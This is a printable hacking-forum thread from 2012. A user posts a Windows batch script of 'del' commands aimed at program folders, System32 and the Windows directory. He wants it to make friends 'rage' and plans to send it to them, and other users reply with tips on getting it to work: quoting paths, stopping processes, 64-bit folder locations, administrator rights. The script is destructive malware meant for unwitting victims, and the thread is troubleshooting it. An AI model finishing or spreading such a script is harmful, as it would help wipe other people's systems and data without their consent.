Hack Forums
[Shell] [Code]Does This Code Works? - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Shell] [Code]Does This Code Works? (/showthread.php?tid=2764648)



[Code]Does This Code Works? - jgadiane - Aug 10, 2012

Hey I Was Trying To Make My Own Batch Codes But I Was Thinking Of Something To Make Them Rage

Does This Code Works?
Code
@echo off
del C:\Program Files\Mozilla Firefox
del C:\Program Files\Skype
del C:\Program Files\winRAR
del C:\Documents and Settings\All Users\Start Menu\Programs\Accessories
del C:\Windows\System32
del C:\Windows
del C:\Windows\System32\win.com
@pause

Please Tell Me If This Works :D
Edited :D Just as Juggernauten Suggested


* - SIM-1400293 - Aug 10, 2012

I think it wouldn't work unless you specified some paths, occasionally my PC won't find he files if I don't specify their location.
Also, I don't see how this would make someone rage too much because you leave them a browser, which gives them the option to get everything back within minutes.

Edit: Nvm, didn't notice the 'del system' part, which is a dick move.
I like it (Y)


* - jgadiane - Aug 10, 2012

(Aug 10, 2012 09:05 AM)iiTom Wrote:  I think it wouldn't work unless you specified some paths, occasionally my PC won't find he files if I don't specify their location.
Also, I don't see how this would make someone rage too much because you leave them a browser, which gives them the option to get everything back within minutes.

Edit: Nvm, didn't notice the 'del system' part, which is a dick move.
I like it (Y)

Did It Work? :D
If Its Works I Should Send This To My Friends :D And It Will Be Awesome


* - Juggernauten - Aug 10, 2012

No it does not work. Unless you define some paths and turns off the processes.


* - jgadiane - Aug 10, 2012

(Aug 10, 2012 09:14 AM)Juggernauten Wrote:  No it does not work. Unless you define some paths and turns off the processes.
imma try to define some paths :D
Thanks For The Information


* - White Light - Aug 10, 2012

Well the best way to test if it works is to run it on your own computer and see for yourself.


* - JakerzYeah - Aug 10, 2012

(Aug 10, 2012 10:47 AM)White Light Wrote:  Well the best way to test if it works is to run it on your own computer and see for yourself.

LOOL. Brb dying. 😁
hahahahahahahhahahhahhahha


* - CMOSDeaD - Aug 10, 2012

(Aug 10, 2012 09:03 AM)jgadiane Wrote:  del C:\Program Files\Mozilla Firefox
del C:\Program Files\Skype
del C:\Program Files\winRAR
I don't think that works on a 64 bit computer.
As they are installed in C:\Program Files (x86)


* - SoulByte - Aug 10, 2012

(Aug 10, 2012 09:03 AM)jgadiane Wrote:  Hey I Was Trying To Make My Own Batch Codes But I Was Thinking Of Something To Make Them Rage

Does This Code Works?
Code
@echo off
del C:\Program Files\Mozilla Firefox
del C:\Program Files\Skype
del C:\Program Files\winRAR
del C:\Documents and Settings\All Users\Start Menu\Programs\Accessories
del C:\Windows\System32
del C:\Windows
del C:\Windows\System32\win.com
@pause

Please Tell Me If This Works :D
Edited :D Just as Juggernauten Suggested

RTFM "del /?"
Unmentioned is that you can put quotes around the path to delete files and folders with spaces in them.


* - Jаck - Aug 11, 2012

I think the code would have to have administrative rights to delete them files. They would have to run it as an administrator.